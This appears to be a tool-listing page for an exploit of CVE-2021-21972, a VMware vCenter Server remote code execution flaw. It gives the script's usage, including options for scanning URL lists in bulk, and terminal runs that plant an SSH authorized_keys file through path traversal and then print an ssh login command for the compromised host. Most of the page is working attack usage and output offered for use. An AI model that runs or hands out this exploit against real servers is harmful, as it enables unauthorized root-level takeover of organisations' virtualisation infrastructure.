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CVE-2021-21972

CVE-2021-21972

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CVE-2021-21972

Description

The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).

Menu

root@kitploit:~
 % python3 CVE-2021-21972.py -h
Usage: CVE-2021-21972.py [options]

Options:
  -h, --help         show this help message and exit
  -i FILE            file containing list of urls
  -u URL, --url=URL  https://1.1.1.1
  -f FILENAME        
  -n NOOFTHREADS     
  -e, --exploit      
  -c, --check        
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Steps

root@kitploit:~
% python3 /tmp/CVE_2021_21972.py -i /tmp/urls.txt  -n 8 -e
[*] Creating tmp.tar containing ../../../../../home/vsphere-ui/.ssh/authorized_keys
[+] https://172.16.164.1 SUCCESS 
Login using 'ssh -i id_rsa [email protected]'
root@kitploit:~
% python3 /tmp/CVE_2021_21972.py -i /tmp/urls.txt  -n 8 -c
[+] https://172.16.164.1 is vulnerable to CVE-2021-21972
root@kitploit:~
% python3 /tmp/CVE_2021_21972.py -u https://172.16.164.1  -n 8 -c
[+] https://172.16.164.1 is vulnerable to CVE-2021-21972
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